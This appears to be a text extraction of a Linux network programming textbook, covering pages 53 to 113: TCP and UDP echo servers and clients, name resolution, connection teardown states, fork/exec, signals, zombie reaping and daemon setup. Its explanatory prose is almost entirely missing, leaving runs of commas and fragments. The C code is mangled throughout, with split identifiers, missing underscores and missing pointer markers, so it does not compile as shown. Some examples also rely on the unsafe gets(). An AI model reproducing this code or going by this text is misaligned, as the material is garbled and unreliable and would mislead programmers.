inaddr) == 1) return 1; he = gethostbyname(address); 53
if (he!= NULL) inaddr = return 1; else return 0; (struct in addr )he - > h addr list[0]); addr conv 1, 0addr conv inet aton, inaddr, 1;, gethostbyname, IP inaddr, 1, inaddr s addr - 1, 0, :,,, ;, : (1 ) struct hostent host1, host2, host3, host4; (2 ) host1 = get hostbyname( host name1) ; (3 ) host2 = get hostbyname( host name2) ; (4 ) if ( host2 ) host3 = host2 ; (5 ) host4 = get hostbyname( host name4) ; (2 )hostname1, host1 ; ( 3) hostname2, host2, hostname1, host1 hostname2 ; ( 4), host2 host3, ( 5 ) gethostbyname, ( 5 ), host4 hostname4,, host3 hostname4 hostent, hostent,, hostent,,, :, geth ostbyname, IP,, : Web, I P 168.135.10.2 168.135.10.4, www.utopian.com Web, IP,,, gethostbyname,, : ( 1), ; ( 2) 54
, Linux,,, U NIX,, Netscape Communicator 3. uname gethostname uname gethostname : # include < sys/ utsname.h > int uname(struct utsname name); # include < unistd.h > int gethostname(char name, size t len); uname name utsname, 0, name ;, - 1gethostname name, len name utsname : struct utsname char sysname[sys NMLN]; char nodename[sys NMLN]; char release[sys NMLN]; char version[sys NMLN]; char machine[sys NMLN]; char domainname[sys NMLN]; ; uname, utsname nodename uname,, gethostbyname, IP : struct hostent he; struct utsname myname; struct in addr paddrlist; if (uname(&myname) < 0) return(null); if ( (he = gethostbyname(myname.nodename)) == NULL) return(null); paddrlist = he - > h addr list; 3.7 Internet, ( F T P ) ( TELNET ) 55
( EMAIL ),, F TP 20 21, TELNET 23, EMAIL 25, Inter net Linux / etc/ services, www : www 80/ tcp http # WorldWideWeb HTTP www, 80, TCP,, HTT P : bash telnet 192.168.0.1 80 bash telnet 192.168.0.1 http HTT P 80 : :, HT TP, HT TP HT TP 80, 80, HTT P 8080, 8080,, / etc/ services : 1. getservbyname getservbyname : # include < netdb.h > struct servent getservbyname(const char servname, const char protoname); servname ; protoname, servent ;, NULL servname : struct servent char s name; / / char s aliases; int s port; char s proto; ; / / / / / /? s port, getservbyname, ( HTT P TCP ), protoname N ULL ; 56
(DNS, UDP TCP ),,, protoname NULL, : int serv port(char servname, char proto, int port) struct servent se; se = getservbyname(servname, proto); if (se == NULL) return (0); port = se - > s port; return (1); serv port servname proto, port,, 1, 0 2. getservbyport getservbyport : # include < netdb.h > struct servent getservbyport(int port, const char protoname); port ; protoname, servent ;, NULL servents name, 514 TCP Shell, UDP Syslog, protoname 3.8, 1.,,, 2., 57
3.,,, 16, htons ntohs ; 32, htonl ntohl ; 64, 32 : void sender(int sockfd, long data) long nd; nd = htonl(data); write(sockfd, &nd, sizeof(nd)); void receiver(int sockfd, long data) long nd; read(sockfd, &nd, sizeof(nd)); data = ntohl(nd); :, 64 : void sender(int sockfd, long data) char buf[5]; sprintf(buf, % ld, data); write(sockfd, buf, strlen(buf)); void receiver(int sockfd, long data) char buf[5]; read(sockfd, buf, sizeof(buf)); sscanf(buf, % ld, data); 4. 58
, :, : struct multi type char sd str[10]; int sd int; ; void sender(int sockfd, struct multi type data) int len; len = strlen(data.sd str); len = htonl(len); write(sockfd, &len, sizeof(len)); write(sockfd, & data.sd str,len); len = htonl(data.sd int); write(sockfd, &len, sizeof(len)); void receiver(int sockfd, struct multi type data) int len; read(sockfd, &len, sizeof(len)); len = ntohl(len); read(sockfd, data - > sd str, len); read(sockfd, &len, sizeof(len)); data - > sd int = ntohl(len); sender :,,,,, receiver :, multi type,, multi type,, 5., 59
6.,, Sun Microsystem, Sun XDR (external Data Representation) - XDR, XDR,, ( local representation ) XDR XDR, RFC1014 3.9 TCP TCP, connect TCP 3, TCP, bind, lis ten,, accept, close gethostbyname I P get servbyname 60
4 TCP - 4.1 -, - 4.2 -,,,,,, :, Telnet, -,, : (1 ) = + (2 ) : Length : (3 ) Length,,, : Length 14 Hello, my lord! 14, Hello, my lord! 4 1,,, write requ read requ, 61
4 1 - write all read all, 4.3 : : # include < string.h > # include < sys/ socket.h > # include < netinet/ in.h > # include < stdio.h > # include < signal.h > # define SERVER PORT 8080 # define BACKLOG 5 int main(int argc, char argv[]) int listenfd, connfd; struct sockaddr in servaddr; listenfd = socket(af INET, SOCK STREAM, 0); if (listenfd < 0) fprintf(stderr, Socket error \ n ); exit(1); bzero(&servaddr, sizeof(servaddr)); servaddr.sin family = AF INET; servaddr.sin addr.s addr = htonl(inaddr ANY); servaddr.sin port = htons(server PORT); if (bind(listenfd, (struct sockaddr )&servaddr, sizeof(servaddr)) < 0) fprintf(stderr, Bind error \ n ); exit(1); if (listen(listenfd, BACKLOG) < 0) fprintf(stderr, Listen error \ n ); exit(1); for ( ;; ) 62
connfd = accept(listenfd, NULL, NULL); if (connfd < 0) fprintf(stderr, Accept error \ n ); exit(1); serv respon(connfd); close(connfd); close(listenfd); : (1 ) socket, 8080, 8080 : 1024,, ; 5000,, ;, bind listen (2 ) accept accept, connfd (3 ), serv respon, close (4 ), 4.4 : serv respon, : # include < string.h > # include < sys/ socket.h > # include < netinet/ in.h > # include < stdio.h > # include < signal.h > # define SERVER PORT 8080 # define BACKLOG 5 void serv resp on (int sockfd) 63
int nbytes; char buf[1024]; for ( ;; ) nbytes = read requ(sockfd, buf, 1024); if (nbytes == 0) return; else if (bytes < 0) fprintf(stderr, read error: % s \ n, strerror(errno)); return; if (write all(sockfd, buf, nbytes) < 0) fprintf(stderr, write error: % s \ n, strerror(errno)); : read requ, buf,, read requ 0,, ; 0,, ; read requ 0,, write all, serv respon serv respon read requ, : int read requ(int sockfd, char buf, int size) char inbuf[256]; int n; int i; i = read line(sockfd, inbuf, 256); if (i < 0) return (i); else if (i == 0) return (0); if (strncmp(inbuf, Length, 6) == 0) sscanf(buf + 6, % d, &n); else sprintf(buf, Invalid option, 14); return (14); return (read all(sockfd, buf, n)); 64
read requ :, read requ read line, Length, sscanf ; Length,, read requ, read requ read line, : # include < errno.h > # define MAX BUF SIZE 1024 int get char(int fd, char ch) static int offset = 0; static int size = 0; static char buf[max BUF SIZE]; for (; size < = 0 offset == size; ) size = read(fd, buf, MAX BUF SIZE); if (size < 0) if (errno == EINTR) size = 0; continue; else return ( - 1); offset = 0; ch = buf[offset ++ ]; return (1); int read line(int fd, char buf, int maxlen) int i, n; char ch; for (i = 0; i < maxlen; ) n = get char(fd, &ch); if (n == 1) buf[i ++ ] = ch; if (ch == \ n ) break; else if (n < 0) return ( - 1); else break; 65
buf[i] = \ 0 ; return (i); read line, (\ n ),,, read, read,,,, read line get char, get char get char read, buf read line get char, get char buf,, ; buf, read, 4.5 : : # include < sys/ socket.h > # include < stdio.h > # include < netinet/ in.h > # define SERVER PORT 8080 void main(int argc, char argv[]) int sockfd; struct sockaddr in servaddr; if (argc!= 2) fprintf(stderr, usage: client < IPaddress > \ n ); exit(1); sockfd = socket(af INET, SOCK STREAM, 0); if (sockfd < 0) fprintf(stderr, Socket error \ n ); exit(1); bzero(&servaddr, sizeof(servaddr)); servaddr.sin family = AF INET; servaddr.sin port = htons(server PORT); if (inet aton(argv[1], &servaddr.sin addr) == 0) fprintf(stderr, Inet aton error \ n ); exit(1); 66
if (connect(sockfd, (struct sockaddr )&servaddr, sizeof(servaddr)) < 0) fprintf(stderr, connect error: % s \ n, strerror(errno)); exit(1); cli requ(sockfd); close(sockfd); : (1 ) socket (2 ) I P, inet aton IP, IP servaddr, connect, connect, connect (3 ), cli requ (4 ) close 4.6 : cli requ, : # include < sys/ socket.h > # include < stdio.h > # include < netinet/ in.h > # define SERVER PORT 8080 void cli requ(int sockfd) char inbuf[256], oubuf[256]; int n; for ( ;; ) if (gets(inbuf) == NULL) return; n = strlen(inbuf); sprintf(oubuf, Length % d \ n, n); 67
write all(sockfd, oubuf, strlen(oubuf)); write all(sockfd, inbuf, n); n = read all(sockfd, inbuf, n); if (n == 0) return; else if (n < 0) fprintf(stderr, read line error.\ n ); return; write(1, buf, n); :,,,,, ( 0 ), cli requ 4.7 - -, : bash echo - serv& [1] 283, socket bind listen accept,, accept, netstat : bash netstat - a grep 8080 tcp 0 0 :8080 : LISTEN netstat - a LISTEN, I P,, 8080, I P 127.0.0.1, ( 2 ) IP 192.0.0.1 echo cli : bash echo cli 127.0.0.1, socket connectconnect TCP 3, TCP SYN, 68
connect, accept, 3 :, netstat 3 : bash netstat - a grep 8080 tcp 0 0 localhost:8080 localhost:1157 ESTABLISHED tcp 0 0 localhost:1157 localhost:8080 ESTABLISHED tcp 0 0 :8080 : LISTEN, 8080, 1157, ESTABLISHED, 1157, 8080, ESTABLISHED, LIS TEN : accept, accept,, accept, connect, - 4 2 4 2 - (1 ) write all (2 ) read line (3 ) write all (4 ) read all (5 ) write all (6 ) read all : bash echo - cli 127.0.0.1 69
Hello World! Hello World! Hello World!,,,,, Ctrl + D, Linux Ctrl + D Ctrl + D, gets, cli requ,, close TCP, 4 3 4 3 (1 ) cli requ, close, Linux, (2 ), close, 0, : TCP TCP FIN, F IN WAIT 1,, netstat : bash netstat grep 8080 tcp 0 0 192.168.0.1:1358 203.58.0.21:8080 FIN WAIT 1 TCP, FIN, CLOSE WAIT, FIN WAIT 2, netstat,, close( connfd),, netstat : 70
bash netstat grep 8080 tcp 0 0 localhost:8080 localhost:1157 CLOSE WAIT tcp 0 0 localhost:1157 localhost:8080 FIN WAIT 2 tcp 0 0 :8080.LISTEN, CLOSE WAIT, FIN, ;, F IN WAIT 2, FIN (3 ) TCP TCP F IN, read line, TCP F IN, read line 0,, read requ 0, serv respon (4 ) serv respon, close, 0, : TCP TCP FIN, TCP LAST ACK, TCP, netstat : bash netstat grep 8080 tcp 0 0 203.58.0.21:8080 192.168.0.1:1537 LAST ACK tcp 0 0 :8080. LISTEN TCP F IN, TIME WAIT, F IN, TIME WAIT MSL, TCP TCP FIN, TCP netstat : bash netstat grep 8080 tcp 0 0 localhost:1157 localhost:8080 TIME WAIT tcp 0 0 :8080. LISTEN TIME WAIT, (5 ),,, 4.8-71
,, ( GDB) : bash gdb echo serv serv resp read requ,, read requ,, i GDB i 0 : gdb > set i = 0 i, serv resp, close, close, 0, TCP : TCP F IN, TCP FIN, TCP, FIN WAIT 2 netstat : bash netstat - a grep 8080 tcp 0 0 localhost:8080 localhost:1200 FIN WAIT 2 tcp 0 0 localhost:1200 localhost:8080 CLOSE WAIT tcp 0 0 :8080.LISTEN, F IN WAIT 2; FIN, CLOSE WAIT, read all, read, TCP FIN, read all 0, cli requ close, TCP : TCP F IN, TCP F IN,, TIME WAIT 2, MSL 4 4 72
, HT TP,,, 4.9 -, -, kill,, kill : bash ps x grep echo - serv 140 p0 S 0:02 echo - serv bash kill 140 [3] + Terminated echo serv, :, accept,,,,,,, TCP SYN,, ; TCP SY N,,,,,,, TCP F IN 3 :, cli requ write all ;, cli requ write all ;, read all F IN, -, FIN, -, F IN,,, FIN, 3 : write all F IN 73
write all,,,, TCP FIN, FIN,,, write,, write all TCP, TCP, TCP RST 4 5 4 5 write all,, TCP RST, write all, TCP RST, write SIGP IPE,,,, SIGPI PE,, ( ) : # include < signal.h > int main() signal(sigpipe, SIG IGN); cli requ(); SIGP IPE, write all, E PIP E 74
cli requ,, write all F IN write all,,, TCP FIN, write,, write all TCP, TCP,, TCP RST, write all, read all, read all 0, TCP F IN cli requ,,, TCP RST, -, write all,,, TCP TCP RST, RST, read all, ECONNRESET-, read all F IN read all,,, TCP F IN, read all 0, cli requ,, 4.10,, RESET,,, : (1 ), read all,,, (2 ), write all, write, write all, read all,,,, : 75
TCP,, TCP, TCP,, TCP,,, read, ETIMEOUT4 6 4 6 ( ) -, TCP,, ICMP, TCP ICM P,, read all, ICMP, EHOSTU NREACH ENETU N REACH 4 7 4 7 ( ICMP ),, read, 76
4.11,,,,,,,,,,,, : (1 ), read all,,,, (2 ), write all, write, write all, read all,,,, : TCP,, TCP, TCP,, TCP TCP,, TCP, TCP, RST TCP RST,, read, ECONNRESET 4 8 4 8 77
4.12,, : (1 ), read,,,,,,, (denial of service) : TCP TCP, (2 ), write all, write, TCP RST, RS T,, TCP RST, read, ECONNRESET 4.13 TCP, 3 : connect, accept read write close, close,, TCP RST ;, 78
5 UDP 5.1 UDP TCP, UDP TCP UDP TCP, 5 1 5 1 UDP - UDP socket, bind, recvfrom UDP UDP socket, sendto, close UDP, UDP TCP, UDP 79
5.2 recvfrom sendto recvfrom, sendto, UDP : # include < sys/ socket.h > int recvfrom(int sockfd, void buf, int len, unsigned int flags, struct sockaddr from, socklen t addrlen); int sendto(int sockfd, const void msg, int len, unsigned int flags, const struct sockaddr to, int tolen); sockfd buf len read write, ; flay recvfrom from, ; addrlen sendto to ; addrlen recvfrom, ; - 1 sendto, ; - 1 UDP,, sendto UDP,, recvfrom, ;, recvfrom from NULL, addrlen NULL UDP sendto, UDP UDP, ; recvfrom, UDP UDP UDP UDP, sendto, sendto, UDP UDP, UPD IP, UDP UDP, UDP UDP UDP, UDP, sendto, EMSGSIZEUDP, sendto, UDP, UDP, UDP, sendto 0 UDP UDP,, UDP, UDP 5 2 UDP 80
5 2 UDP UDP, UDP, UDP, UDP, UDP recvfrom, ;,, UDP, recvfrom 0 TCP : TCP, 0,, TCP, ; UDP,, 0, 0, 5.3 UDP : UDP, : # include < sys/ types.h > # include < sys/ socket.h > # include < netinet/ in.h > # include < stdio.h > # define SERV PORT 8080 int main() int sockfd; struct sockaddr in addr; sockfd = socket(af INET, SOCK DGRAM, 0); if (sockfd < 0) fprintf(stderr, socket error.\ n ); exit(1); bzero(&addr, sizeof(addr)); addr.sin family = AF INET; 81
addr.sin addr.s addr = htonl(inaddr ANY); addr.sin port = htons(serv PORT); if (bind(sockfd, (struct sockaddr )&addr, sizeof(addr)) < 0) fprintf(stderr, bind error.\ n ); exit(1); udps respon(sockfd); close(sockfd); UDP, : sockfd = socket(af INET, SOCK DGRAM, 0);,, udps respon, 5.4 UDP : : # define MAX MSG SIZE 1024 void udps respon(int sockfd) struct sockaddr in addr; int addrlen; char msg[max MSG SIZE]; for ( ;; ) n = recvfrom(sockfd, msg, MAX MSG SIZE, 0, (struct sockaddr )&addr, &addrlen); sendto(sockfd, msg, n, 0, addr, addrlen); : recvfrom, 5.5 UDP UDP, : 1. 82 UDP,,
, UDP UDP, UDP, : TCP, UDP ; IP,, I P, I P 2.,, UDP TCP : UDP, UDP,, UDP,, ; TCP,,, TCP,, 5 3 UDP, 5 4 UDP 5 3 UDP 5 4 UDP 83
5 4,, TCP, UDP,, UDP 3. recvfrom,, recvfrom from 4. IP I P INADDR ANY, UDP, IP, IP, UDP TCP 5 1 TCP UDP 5 1 TCP UDP IP IP accept getsockpeer accept getsockpeer getsockname getsockname recvfrom recvfrom - getsockname UDP, : (1 ), I P, IP IP (2 ) IP UDP UDP, IP,,,,, SO REUSEADDR 5.6 UDP : UDP, : # include < sys/ types.h > # include < sys/ socket.h > # include < netinet/ in.h > 84
# include < stdio.h > int main(int argc, char int sockfd; struct sockaddr in addr; if (argc!= 3) argv[]) fprintf(stderr, usage: client ipaddr port \ n ); exit(1); sockfd = socket(af INET, SOCK DGRAM, 0); if (sockfd < 0) fprintf(stderr, socket error.\ n ); exit(1); bzero(&addr, sizeof(addr)); addr.sin family = AF INET; addr.sin port = htons(atoi(argv[2])); if (inet aton(argv[1], &addr.sin addr) < 0) fprintf(stderr, inet aton error.\ n ); exit(1); udpc requ(sockfd, &addr, sizeof(addr)); close(sockfd); socket,, udpc requ, 5.7 UDP : : # define MAX BUF SIZE 1024 void udpc requ(int sockfd,const struct sockaddr in addr,int len) char buf[max BUF SIZE]; int n; for (; fgets(buf, MAX BUF SIZE, stdin)!= NULL; ) sendto(sockfd, buf, strlen(buf), 0, addr, len); n = recvfrom(sockfd, buf, MAX BUF SIZE, 0, NULL, NULL); buf[n] = 0; 85
fputs(buf, stdout);, sendto, recvfrom, sendto recvfrom, ( Ctrl + D), 5.8 UDP UDP, : 1. UDP,, UDP, sendto, sendto, recvfrom sendto, UDP,, UDP IP, IP,, UDP UDP, IP 5 2 5 2 IP IP IP,recvfrom,recvfrom I P, sendto, UDP, 2., recvfrom, sendto,,,, :,,, : # define MAX BUF SIZE 1024 void udpc requ(int sockfd, const struct sockaddr in addr,int len) 86
struct sockaddr in inaddr; int inaddrlen; char buf[max BUF SIZE]; int n; for (; fgets(buf, MAX BUF SIZE, stdin)!= NULL; ) sendto(sockfd, buf, strlen(buf), 0, addr, len); n = recvfrom(sockfd, buf, MAX BUF SIZE, 0, &inaddr, &inaddrlen); if (inaddrlen!= len memcmp(&inaddr, addr, len)!= 0) fprintf(stderr, unexpected response from % s, discarded.\ n,inet ntoa (inaddr.sin addr)); continue; buf[n] = 0; fputs(buf, stdout); recvfrom,,, :,,, recvfrom,, : connect, connect UDP 3. UDP,, recvfrom,,, : (1 ),, recvfrom (2 ),,,, recvfrom,,, recvfrom,, recvfrom 87
5.9 UDP UDP connect, TCP UDP connect 3, UDP UDP connect, UDP I P, connect ; TCP connect, TCP 3,, connect connect UDP UDP, connect UDP UDP UDP : 1. UDP UDP, UDP UDP 2., UDP UDP UDP UDP 5 5 UDP 5 5 UDP :,, UDP UDP UDP, UDP, UDP, ; UDP, UDP I P IP,,, UDP, connect, UDP UDP 88
3. write, write, write, UDP TCP, TCP : TCP, write, TCP write ; UDP, write,, UDP write UDP :, TCP, UDP UDP,, UDP,, UDP, ICMP, ICM P UDP, UDP sendto, sendto,,,, ECONNRESET UDP, U NIX ; UDP, Linux, UNIX,, UDP, U NIX, Linux SO BSDCOM PAT,,, Linux UDP ICMP,,, UDP ICMP,, UDP ICMP, UDP ICMP,,, ENETU NREACH EHOSTU N REACH,,, connect UDP UDP UDP, UDP 89
: (1 ) (2 ), U NIX UDP connect TCP, TCP connect connect, UDP : struct sockaddr in addr1, addr2; int udpfd; connect(udpfd, (struct sockaddr )&addr1, sizeof(addr1)); connect(udpfd, (struct sockaddr )&addr2, sizeof(addr2)); UDP TCP : TCP close ; UDP connect UDP UDP, connect,, connect, Posix connect AF SPEC, UDP : struct sockaddr in addr; int sockfd;... addr.sin family = AF UNSPEC;... connect(sockfd, (struct sockaddr )&addr, sizeof(addr)); U N, EAFNOSUPPOR T, UDP AF UNSP EC, UDP, UDP, : # include < sys/ socket.h > # include < sys/ types.h > # include < netinet/ in.h > int main(int argc, char argv[]) int sockfd; struct sockaddr in addr; if (argc!= 3) 90
fprintf(stderr, usage: client ipaddr port \ n ); exit(1); sockfd = socket(af INET, SOCK DGRAM, 0); if (sockfd < 0) fprintf(stderr, socket error.\ n ); exit(1); bzero(&addr, sizeof(addr)); addr.sin family = AF INET; addr.sin port = htons(atoi(argv[2])); if (inet aton(argv[1], &addr.sin addr) < 0) fprintf(stderr, inet aton error.\ n ); exit(1); if (connect(sockfd, (struct sockaddr )&addr,sizeof(addr)) < 0) fprintf(stderr, connect error.\ n ); exit(1); udpc requ(sockfd); close(sockfd); connect, UDP UDP, udpc requ udpc requ : # define MAX BUF SIZE 1024 void udpc requ(int sockfd) char buf[max BUF SIZE]; int n; for (; fgets(buf, MAX BUF SIZE, stdin)!= NULL; ) write(sockfd, buf, strlen(buf)); n = read(sockfd, buf, MAX BUF SIZE); if (n < 0) fprintf(stderr, read error: % s \ n, strerror(errno)); return; buf[n] = 0; fputs(buf, stdout); 91
, write, read read,, udpc requ, 5.10 UDP UDP 1. UDP UDP UDP, TCP : UDP, UDP UDP,,,,,,,,,,,,, UDP, DNS, T FT P RPC, UDP 2. UDP UDP,,,,,, UDP, UDP, 3. UDP UDP,, recvfrom,, UDP 92
,, UDP :,,,,,,, :,,,,, 4. UDP UDP : - ( multicast),, TCP UDP,,,,, UDP TCP TCP, UDP, TCP, UDP, TCP, UDP TCP, TCP, 5.11 UDP recvfrom sendto UDP sendto recvfrom UDP connect UDP, UDP 93
6 6.1 Linux, Linux,,,,, 6.2 (fork exec) Linux, SHELL, SHELL Linux,,, init Linux, ( System Call) fork Linux vfork, fork, : # include < unistd.h > pid t fork(void); fork,, fork,, fork, ;, fork 0, - 1fork : if ((pid = fork()) == 0) / /... exit(0); else if (pid < 0) / / exit(1); 94
else / /... exit(0); fork, fork : fork :,, ; fork 0 Linux fork : fork,, ( ), 6 1 6 1,,,,, fork, fork, fork 0 :, ;,,,,, getppid 95
,,,, ( real) (effective), HOME, PATH, close - on - exec ( nice ) ( process group ID) ( session ID) ( umask ) : fork,,,, if exit, exit, if...then...,,, : # include < unistd.h > int main() pid t pid; char buf[128]; gets(buf); pid = fork(); if (pid == 0) printf( child: ); else printf( parent: ); 96
printf(% s \ n, buf); : bash share hello parent: hello child: hello, printf(% s \ n, buf),, 5, / etc/ passwd,, 6 2 6 2 5, 1, inode, (/ etc/ passwd), 1, 6 3, 5, 2, Linux,,, # include < unistd.h > # include < fcntl.h > # include < sys/ types.h > int main() 97
6 3 int fd; pid t pid; off t off; fd = open( / etc/ passwd, O RDONLY); off = lseek(fd, 10, SEEK CUR); pid = fork(); if (pid == 0) printf( child: position % d \ n, off); off = lseek(fd, 0, SEEK END); printf( child: change position to % d \ n, off); exit(0); else if (pid > 0) wait(null); off = lseek(fd, 0, SEEK CUR); printf( parent: position % d \ n, off); exit(0); else printf( fork error.\ n ); 98
/ etc/ passwd, 10,,,,,, lseek, : bash shr fd child: position 10 child: change position to 532 parent: position 532 : (1 ),,,, (2 ),, Linux, Shell, HTT P CGI,,,, if, then, exec 6, : # include < unistd.h > int execve(const char path, char const argv[], char const envp[]); int execl(const char path, const char arg,); int execlp(const char file, const char arg,); int execle(const char path, const char arg,,char const envp[]); int execv(const char path, char const argv[]); int execvp(const char file, char const argv[]);, 5,, path, ; file, PATH, argv [ 0 ], N ULL, execve execle,,,, - 1 exec, exec exec,, 99
: exec, FD CLOEXEC, exec, FD CLOEXEC, 5 : # include < fcntl.h > fcntl(5, F SETFD, FD CLOEXEC); 6.3,, ( real user id) ( effective user id), kill exec setuid, setuid, setuid, setuid 1 setuid : bash # chmod + s/ usr/ bin/ ping / usr/ bin/ ping setuid 1 setuid,, / usr/ bin/ ping, setuid,,, setuid,, pingmount login 6.4 Linux,,,,,, : 1., 100
(read), 2.,,, 6 1 Linux 6 1 SIGHUP SIGI NT SIGQU IT core, core SIGILL core SIGTRAP core SIGBUS core SIGSEGV core SIGFPE core SIGIOT core I/ O SIGKILL SIGPIPE SIGALARM SIGT ERM SIGSTOP SIGTSTP SIGCONT SIGURG I/ O SIGIO I/ O SIGCHLD SIGT TOU SIGT TIN SIGXCPU CPU SIGXFSZ SIGWI NCH SIGPROF SIGUSR1 1 SIGUSR2 2 SIGVTALRM,, : 101
,, core,,,, sigaction : # include < signal.h > int sigaction(int signum, const struct sigaction act,struct sigaction oldact); signum, SIGKILL SIGSTOP ; act ; oldact,, 0; - 1 sigaction : struct sigaction void ( sa handler)(int); sigset t sa mask; int sa flags; void ( sa restorer)(void);/ / ; : sa handler, 3,, SIG DFL ;, SIG IGN;, sa mask,, sa flags : SA ONESHOT SA RESETHAND, SA RESTART, SA NOCLDSTOP signum SIGCHLD, ( SIGSTOP ), SA NOMASK SA NODEF ER, Linux signal : 102
# include < signal.h > void ( signal(int sig, void ( func)(int)))(int);, signal,, sigaction SA ONESHOT,, Linux : # include < signal.h > int sigprocmask(int how,const sigset t set, sigset t oldset); int sigpending(sigset t set); int sigsuspend(const sigset t mask); sigprocmask, how : SIG BLOCK, set SIG UNBLOCK, set SIG SETMASK, set oldset sigpending ( pending), set sigsuspend mask,,,, Linux : # include < signal.h > int sigemptyset(sigset t set); int sigfillset(sigset t set); int sigaddset(sigset t set, int signum); int sigdelset(sigset t set, int signum); int sigismember(const sigset t set, int signum); sigemptyset ; sigfillset ; sigaddset ; sigdelset ; sigismember, Linux : (1 ) ( ),, SA ONESHOT (2 ),, sa mask (3 ),,,, Linux 103
(4 ) sigprocmask,,,,,, ;,,,, EINTR : # include < signal.h > # include < string.h > # include < errno.h > void sigint handler(int); int main() char buf[10]; int n; struct sigaction act; act.sa handler = sigint handler; sigemptyset(&act.sa mask); act.sa flags = 0; sigaction(sigint, &act, NULL); n = read(0, buf, sizeof(buf)); if (n < 0) if (errno == EINTR) printf( read interrupted \ n ); else printf( read error: % s \ n, strerror(errno)); write(1, buf, n); void sigint handler(int sig) return; sigaction SIGINT ( Ctrl + C ),, ; Ctrl + C, SIGINT, : bash sig int ^C read interrupted 104
kill : # include < sys/ types.h > # include < signal.h > int kill(pid t pid, int sig); pid, sig pid : : pid 0: - 1:, 0 1-1: pid,,, kill 6.5 Linux exit,,, SIGCHLD, (Zombie) ps, < zombie > void exit(int status); status exit :, exit,,, exit, status exit : (1 ), SIGHU P (2 ) (3 ), init (4 ) SIGCHLD 6.6, SIGCHLD,, Linux : 105
int main() int i; for (i = 0; i < 5; i ++ ) if (fork() == 0) exit(0); for (;;), ps : bash ps x PID TTY STAT TIME COMMAND 66 2 S 0:00 - bash 68 4 S 0:00 - bash 91 2 R 0:28 a.out 92 2 Z 0:00 (a.out < zombie > ) 93 2 Z 0:00 (a.out < zombie > ) 94 2 Z 0:00 (a.out < zombie > ) 95 2 Z 0:00 (a.out < zombie > ) 96 2 Z 0:00 (a.out < zombie > ) 110 4 R 0:00 ps x SIGCHLD, SIGCHLD : 1. SIGCHLD sigaction SIGCHLD, : # include < signal.h > struct sigaction act, oldact; act.sa handler = SIG IGN; sigemptyset(&act.sa mask); act.sa flags = 0; if (sigaction(sigchld, &act, &oldact) < 0) perror( sigaction error \ n ); exit(1); SIGCHLD,, SIG IGN,, SIGCHLD,, 106
Linux, UNIX,, SIGCHLD, SIGCHLD,, : # include < signal.h > int main() struct sigaction act; int i; act.sa handler = SIG IGN; sigemptyset(&act.sa mask); act.flags = 0; sigaction(sigchld, &act, NULL); for (i = 0; i < 5; i ++ ) if (fork() == 0) exit(0); for (;;), : bash zombie 1 PID TTY STAT TIME COMMAND 66 2 S 0:00 - bash 68 4 S 0:00 - bash 131 2 R 0:52 def 1 2. wait waitpid wait waitpid, : # include < sys/ wait.h > pid t wait(int statloc); pid t waitpid(pid t pid, int statloc, int option); wait waitpid :, statloc, exit wait ;, ;, ;, - 1waitpid pid, ; pid - 1, WNOHANG waitpid,,, 107
,,, int pid, status; while ((pid = wait(&status)) > 0) printf( child % d died, exit code % d \ n, pid, status);,,, : # include < sys/ types.h > # include < sys/ wait.h > int main() int i; pid t pid; for (i = 0; i < 5; i ++ ) if (fork() == 0) printf( child % d \ n, getpid()); exit(0); for (; (pid = wait(&i)) > 0; ) printf( child % d died: % d \ n, pid, WEXITSTATUS(i)); : bash zombie 2 child 98 child 99 child 102 child 101 child 100 child 102 died: 0 child 101 died: 0 child 100 died: 0 child 99 died: 0 child 98 died: 0 3. SIGCHLD SIGCHLD,, : 108
void sigchld handler(int signo) pid t pid; int status; while ((pid = waitpid( - 1, &status, WNOHANG)) > 0) return; void main() struct sigaction act; act.sa handler = sigchld handler; sigemptyset(&act.sa mask); act.sa flags = 0; if (sigaction(sigchld, &act, NULL) < 0) perror( sigaction error \ n ); exit(1);, SIGCHLD sigchld handler sigchld handler waitpid : (1 ) SIGCHLD, Linux, SIGCHLD, waitpid (2 ) wait,, wait waitpid, WNOHANG, waitpid,,,,, : # include < sys/ types.h > # include < sys/ wait.h > # include < signal.h > void sigchld handler(int); int main() int i; 109
struct sigaction act; act.sa handler = sigchld handler; sigemptyset(&act.sa mask); for (i = 0; i < 5; i ++ ) if (fork() == 0) printf( child % d \ n, getpid()); exit(0); void sigchld handler(int sig) pid t pid; int status; for (; (pid = waitpid( - 1, &status, WNOHANG)) > 0; ) printf( child % d died: % d \ n, WEXITSTATUS(status)); : bash zombie 3 child 105 child 103 child 104 child 106 child 107 child 107 died: 0 child 103 died: 0 child 106 died: 0 child 105 died: 0 child 104 died: 0,, 4. fork fork, fork, exit,,, ( orphaned process), init init, : int main() 110
int i; pid t pid; pid = fork(); if (pid == 0) for (i = 0; i < 5; i ++ ) if (fork() == 0) printf( child % d \ n, getpid()); sleep(1); exit(0); exit(0); for (;;) : bash zombie 4 child 112 child 109 child 108 child 111 child 110, init 6.7 (daemon process) Linux 3 : swapd,,,,, init / etc/ inittab / etc/ rc.d/, HTT P init,,, init, init,,,,, Linux, :, init, 111
inetd inetd,,, Telnet Ftp Ht tp inetd, cron,, : (1 ) fork,, : Shell,, Shell, ;,, setsid (2 ) setsid, ( session ), (3 ) SIGHU P, fork, ( ),,, SIGH UP,, SIGH UP (4 ) chdir( / ) ( ), (5 ) umask( 0), (6 ) (7 ),, / dev/ null ; / dev/ console, / dev/ null, : # include < unistd.h > # include < stdlib.h > # include < fcntl.h > # include < signal.h > # include < sys/ types.h > # include < sys/ wait.h > # include < errno.h > 112
int daemon init() struct sigaction act; int i, maxfd; if (fork()!= 0) exit(0); if (setsid() < 0) return - 1; act.sa handler = SIG IGN; act.sa mask = 0; act.sa flags = 0; sigaction(sighup, &act, 0); if (fork()!= 0) exit(0); chdir( / ); umask(0); maxfd = sysconf( SC OPEN MAX); for (i = 0; i < maxfd; i ++ ) close(i); open( / dev/ null,o RDWR); dup(0); dup(1); dup(2); return 0; sysconf( SC OPEN MAX) / dev/ null, : # include < sys/ socket.h > # include < sys/ types.h > # include < netinet/ in.h > # include < errno.h > # include < string.h > # include daemon init.c int main() int lfd, cfd; struct sockaddr in addr; char buf[1024]; int n; if (daemon init() < 0) 113
